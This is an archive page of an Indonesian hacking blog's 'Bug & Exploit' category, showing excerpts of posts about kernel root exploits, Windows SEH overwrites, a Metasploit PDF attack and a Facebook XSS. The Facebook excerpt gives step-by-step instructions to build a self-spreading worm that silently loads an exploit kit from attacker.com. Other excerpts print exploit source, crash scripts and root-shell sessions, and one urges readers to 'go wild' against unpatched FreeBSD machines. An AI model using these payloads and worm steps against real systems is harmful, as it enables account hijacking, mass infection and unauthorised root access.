Currently Browsing: Bug & Exploit

bounty oh bounty

recently we managed to exploit one of the enterprise network appliance. you can see? know what? yes, we will release the POC after getting bug bounty. so be patient :)) your company using this appliance?? no problem, they will immediately make improvements....
Read More of bounty oh bounty

Joking on Facebook

Naa, I am not a web hacker. In fact, i am not a hacker at all (eh?). Tulisan ini sekedar untuk meng-update blog kecoak yang sudah cukup lama tidak di update. So, per hari ini saya melihat bahwa banyak sekali URL *aneh* di share pada status beberapa rekan di facebook. Sebagian besar pemerhati dunia hacking mungkin sudah menyadari letak bug nya, namun jika belum, coba lihat link berikut ini yang merupakan salah satu contoh pada facebook: $ wget http://tinyurl.com/rahasiapribadiku --2011-03-29 18:39:10-- http://tinyurl.com/rahasiapribadiku Resolving tinyurl.com (tinyurl.com)... 216.218.139.86, 216.218.139.84 Connecting to tinyurl.com (tinyurl.com)|216.218.139.86|:80... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='ini fotoku wkt lg ML http://tinyurl.com/rahasiapribadiku';document.forms[0].submit();}</script> [following] --2011-03-29 18:39:11-- http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='%3Cscript%3Ewindow.onload=function()%7Bdocument.forms[0].message.value='ini%20fotoku%20wkt%20lg%20ML%20http://tinyurl.com/rahasiapribadiku';document.forms[0].submit();%7D%3C/script%3E Resolving m.facebook.com (m.facebook.com)... 66.220.149.26 Connecting to m.facebook.com (m.facebook.com)|66.220.149.26|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 8882 (8.7K) [text/html] Saving to: `prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='ini fotoku wkt lg ML http:%2F%2Ftinyurl.com%2Frahasiapribadiku';document.forms[0].submit();}<%2Fscript>' Sudah banyak yang membahas bug nya. Bug terdapat pada variable user_message_prompt yang biasanya diakses oleh pengguna facebook mobile (via hape). Melalui variable tersebut seseorang dapat melakukan serangan XSS, yang jika di klik oleh teman nya maka akan menjadi status teman tersebut. Begitu seterusnya. That’s all, nothing interesting…yet. Bahaya atau tidak itu tergantung kreativitas sang attacker, untuk penikmat dunia eksploitasi, tentu saja yang menarik adalah client-side-exploitation. Sampai saat tulisan ini dibuat, facebook belum menutup bug tersebut. Membahas secara detail?well, let the others do it. Here’s an interesting snippet for you: 1. Install Exploit Pack Kit, misal pada http://attacker.com/byteskrew-sample. 2. Klik link berikut ini pada account FB: http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=<script>var c =escape('<iframe src=http://attacker.com/byteskrew-sample width="0" height="0" frameborder="0"></iframe>');var d=unescape(c);document.write(d);window.onload=function(){document.forms[0].message.value='Penjelasan tentang bahaya jebakan worm pada facebook, harap jangan klik sembarang URL: http://tinyurl.com/byteskrew-sample';document.forms[0].submit();}</script> [/pre] 3. Set pada tinyurl URL diatas untuk menggunakan custom alias http://tinyurl.com/byteskrew-sample. 4. Jika kamu cukup beruntung, maka link tersebut akan menyebar seperti worm. Kecepatan penyebaran tentu saja tergantung pada teman FB, teman dari teman, teman dari teman dari teman, dst. Bersamaan dengan menyebar nya...
Read More of Joking on Facebook

Linux Capabilities short explaination.

Beberapa waktu belakangan ini perbincangan hangat tentang dunia security linux tidak terlepas dari persoalan linux capabilities. Linux capabilities adalah sebuah system atau metode yang memungkinkan sebuah applikasi jalan dengan privileges root sesuai dengan keperluan. Sangat jelas bahwa tujuan dibuatnya Linux Capabilities system ini untuk keperluan agar, penggunaan hak akses setingkat dengan root bisa digunakan secara lebih efisien, dalam artian bahwa, alih-alih memberikan semua privileges root ke program tertentu, Linux Capabilities membaginya ke beberapa bagian terntentu sehingga jauh lebih secure. Daftar dari Linux Capabilites bisa anda lihat di /usr/include/linux/capability.h, pada linux kernel 2.6.35.8, terdapat 33 Caps, penjelasan mengenai kegunaan Caps tersebut bisa anda lihat di header file yang berikan diatas. Contoh implementasi Linux Capabilities Seperti anda ketahui, ping adalah salah satu command yang ketika di-execute oleh user biasa akan menjalankan proses dengan uid dan gid root, ini tentu akan berimplikasi terhadap security ketika ping itu sendiri punya kelemahan, dan atau kalau anda lihai melihat bahwa ping ini juga dimanfaatkan sebagai backdoor karena punya privalge root tersebut( bisa anda lihat di last byteskrew collection sebagai contoh). [email protected]:~$ ping -c 3 google.com PING google.com (74.125.235.18) 56(84) bytes of data. 64 bytes from 74.125.235.18: icmp_seq=1 ttl=253 time=21.7 ms 64 bytes from 74.125.235.18: icmp_seq=2 ttl=253 time=19.5 ms 64 bytes from 74.125.235.18: icmp_seq=3 ttl=253 time=21.0 ms --- google.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 19.558/20.793/21.792/0.934 ms [email protected]:~$ stat /bin/ping File: `/bin/ping' Size: 30856 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 262234 Links: 1 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2011-01-12 09:43:11.000000000 +0700 Modify: 2007-12-11 00:33:50.000000000 +0700 Change: 2010-12-29 22:21:59.000000000 +0700 [email protected]:~$ Dan ketika ping kita rubah menjadi non-Set-UID program, maka: [email protected]:/home/elz# chmod u-s /bin/ping [email protected]:~$ stat /bin/ping File: `/bin/ping' Size: 30856 Blocks: 64 IO Block: 4096 regular file Device: 801h/2049d Inode: 262234 Links: 1 Access: (0755/-rwxr-xr-x) Uid:...
Read More of Linux Capabilities short explaination.

caps-to-root through phonet vuln

/* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3)))...
Read More of caps-to-root through phonet vuln

full-nelson.c

$ id uid=1000(cyberheb) gid=1000(cyberheb) groups=1000(cyberheb),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare) [email protected]:~/Desktop$ ./full-nelson [*] Resolving kernel addresses... [+] Resolved econet_ioctl to 0xe09ff2a0 [+] Resolved econet_ops to 0xe09ff3a0 [+] Resolved commit_creds to 0xc016c830 [+] Resolved prepare_kernel_cred to 0xc016cc80 [*] Calculating target... [*] Triggering payload... [*] Got root! # uname -a Linux ubuntu 2.6.35-22-generic #34-Ubuntu SMP Sun Oct 10 09:24:00 UTC 2010 i686 GNU/Linux # id uid=0(root) gid=0(root) groups=0(root) Linux...
Read More of full-nelson.c

Malicious .hlp, kiTrap0d, system shell

Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy, It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6 using VBScript. Passing malicious .HLP file to winhlp32 could allow remote attacker to run arbitrary command. Additionally, there is a stack overflow vulnerability in winhlp32.exe Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’. Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut, MsgBox(prompt[,buttons][,title][,helpfile,context]) Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya, PoC tersebut dapat dilihat dari sini. Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada 184.73.14.110PUBLICtest.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe. Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja. Saat ini 184.73.14.110PUBLICtest.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’. Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita...
Read More of Malicious .hlp, kiTrap0d, system shell

SEH Overwrite for n00b

Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey…what’s the correlation??), then let’s talk about this. Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack. Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite. Aplikasi yang akan digunakan sebagai target adalah EFS Easy Chat Server, kalian bisa melihat contoh exploitnya disini, dan mendownload aplikasi yang vulnerable-nya disini. Saya ambil contoh aplikasi ini dengan anggapan paling mudah menunjukan proses SEH overwrite pada bug aplikasi tersebut, dan dari hasil percobaan terhadap beberapa sistem operasi (Windows 2000 – Windows XP SP3) menunjukan hasil yang stabil, sehingga cocok untuk dijadikan contoh artikel. Jika kita lihat beragam exploit jadi untuk aplikasi ini maka semua akan terlihat mudah, untuk itu kita akan beranggapan exploit yang bersifat RCE (Remote Code Execution) belum diketahui. Satu-satunya advisories dan mungkin exploit yang beredar adalah metode DOS, dalam arti server akan crash dan shutdown, seperti contoh exploit ini. Sebagai informasi, ketika suatu bugs ditemukan maka 2 pihak akan menyatakan bahwa bugs tersebut tidak bisa di-eksploitasi untuk mendapatkan RCE, yaitu vendor (umumnya berhubungan dengan bug sistem operasi) dan pendatang baru di bidang exploitasi. Memang benar tidak semua bug bisa dimanfaatkan untuk mendapatkan shell, namun umumnya ketika...
Read More of SEH Overwrite for n00b

Talkative IRC 0.4.4.16 Remote Stack Overflow

Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini. Dari milw0rm, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini: #!/usr/bin/env ruby # lokasi library metasploit untuk digunakan (rex) msfbase = '/Applications/Metasploit/lib' $:.unshift(msfbase) require 'rex' # definisikan port untuk listen connection server_param = { 'LocalPort' => '6667' } # buat dan aktifkan server sock = Rex::Socket::TcpServer.create(server_param) chld = sock.accept chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network joxrn") chld.get_once # crash crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".rn" chld.put(crash) sock.close Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi: (36c.4f4): Unknown exception - code 0eedfade (first chance) ModLoad: 662b0000 66308000 C:WINDOWSsystem32hnetcfg.dll ModLoad: 71a90000 71a98000 C:WINDOWSSystem32wshtcpip.dll (36c.7cc): Unknown exception - code 0eedfade (first chance) (36c.4f4): Unknown exception - code 0eedfade (first chance) (36c.4f4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40 eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** WARNING: Unable to verify checksum for C:Program FilesVulnTalkative IRCTalkative IRC.exe *** ERROR: Module load completed but symbols could not be loaded for C:Program FilesVulnTalkative IRCTalkative IRC.exe Talkative_IRC+0xd8260: 004d8260 8b40f0 mov eax,dword ptr [eax-10h] ds:0023:41414131=???????? Kita bisa lihat bahwa crash terjadi di lokasi 0x004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash, mov eax, dword ptr...
Read More of Talkative IRC 0.4.4.16 Remote Stack Overflow

Twitter and Adobe 0.9-day spl0it

Salah satu artis yang terkenal dengan istilah ‘bechek’-nya pernah bilang dalam salah satu sesi wawancara untuk “acara televisi full of non-sense but terribly popular” (attention: something called infoblabla) bahwa twitter, facebook, friendster itu gak ada gunanya. Do’i gak mungkin ikutan begituan karena terlalu sibuk dengan skull, corse, blablabla. Dan yang ikutan begituan (attention: geek said, social networking) hanya orang-orang yang gak punya kerjaan. Well, somehow, this cute little girl *heh??* probably right. Unfortunately, gak semua orang update status untuk hal-hal yang tidak perlu. Komunitas security umumnya seringkali memposting hal-hal yang bermanfaat, dan lebih cepat mendapatkan informasi tersebut dibandingkan menunggu muncul di blog, news, forum, dll. Beberapa hal menarik diantaranya diskusi kecil-kecilan mengenai bug dan expl0it. Baru-baru ini merebak mengenai adobe acrobat reader 0day, salah satu yang membahas bisa lihat di http://bit.ly/7UjG26. HDM dalam twitter nya pernah meminta contoh exploit tersebut bagi siapa saja yang memilikinya, dan dalam waktu singkat contoh 0day sploit tersebut didapatkan, copy nya bisa di download dari http://bit.ly/5VqgVv. Dan tentu saja dalam beberapa jam exploit tersebut muncul dalam repo metasploit, let’s give it a try: Snow $ sudo ./msfconsole Password: 888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ metasploit v3.3.3-dev [core:3.3 api:1.0] + -- --=[ 476 exploits - 220 auxiliary + -- --=[ 192 payloads - 22 encoders - 8 nops =[ svn r7893 updated today (2009.12.16) msf > version Framework: 3.3.3-dev.7817 Console : 3.3.3-dev.7855 msf > use windows/fileformat/adobe_media_newplayer msf exploit(adobe_media_newplayer) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(adobe_media_newplayer) > set RHOST 172.16.30.129 RHOST => 172.16.30.129 msf exploit(adobe_media_newplayer) > exploit [*] Started bind handler [*] Creating 'msf.pdf' file... [*] Generated...
Read More of Twitter and Adobe 0.9-day spl0it

FreeBSD rtld 0day exploit

King Cope publish local exploit ini ke FD-Lists. [[email protected] ~/hack]$ uname -a FreeBSD begok.xxxx.de 7.0-STABLE FreeBSD 7.0-STABLE #1: Fri Mar 27 11:24:51 WIT 2009 [email protected]:/usr/obj/usr/src/sys/BEGOK i386 [[email protected] ~/hack]$ ./fbsd-local-2009.sh fbsd-local-2009.sh FreeBSD local r00t zeroday by Kingcope November 2009 env.c: In function 'main': env.c:5: warning: incompatible implicit declaration of built-in function 'malloc' env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy' env.c:11: warning: incompatible implicit declaration of built-in function 'execl' 8:35 /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for /libexec/ld-elf.so.1: environment corrupt; missing value for ALEX-ALEX # id uid=1007(bofh) gid=1007(bofh) euid=0(root) groups=1007(bofh) Publikasi ini jelas akan langsung dimanfaatkan dengan cepat oleh para hacker/cracker yang bisa mendapatkan akses local ke mesin-mesin FreeBSD. Rasanya belum ada patch untuk saat ini. So, go wild guys? :p. ** Thanks buat temon untuk testing exploitnya, as currently I don’t have FBSD to test....
Read More of FreeBSD rtld 0day exploit